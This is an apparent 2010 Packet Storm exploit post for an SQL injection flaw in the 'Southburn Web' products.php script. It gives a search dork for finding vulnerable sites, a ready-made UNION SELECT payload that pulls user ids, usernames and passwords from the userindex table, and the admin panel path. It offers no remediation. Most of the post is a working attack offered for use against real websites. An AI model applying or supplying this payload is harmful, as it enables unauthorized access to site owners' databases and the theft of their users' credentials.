Southburn Web SQL Injection

2010-02-15T00:00:00
ID PACKETSTORM:86279
Type packetstorm
Reporter AtT4CKxT3rR0r1ST
Modified 2010-02-15T00:00:00

Description

                                        
                                            `  
  
southburn Web (products.php) Sql Injection Vulnerability  
==============================================================  
  
####################################################################  
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]  
.:. Team : Sec Attack Team  
.:. Home : www.sec-attack.com/vb  
.:. Script : southburn Web [http://southburn.ca/]  
.:. Bug Type : Sql Injection[Mysql]  
.:. Dork : "Powered by: Southburn"  
  
####################################################################  
  
===[ Exploit ]===  
  
www.site.com/products.php?id=null[Sql]&r=null  
  
www.site.com/products.php?id=null'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -&r=null  
  
Exploit:  
  
'+and+1=2+union+select+1,group_concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+userindex-- -  
  
Path admin:  
  
www.site.com/admin/index.php  
####################################################################  
  
  
________________________________  
Hotmail: Free, trusted and rich email service. Get it now.<https://signup.live.com/signup.aspx?id=60969>  
  
  
  
`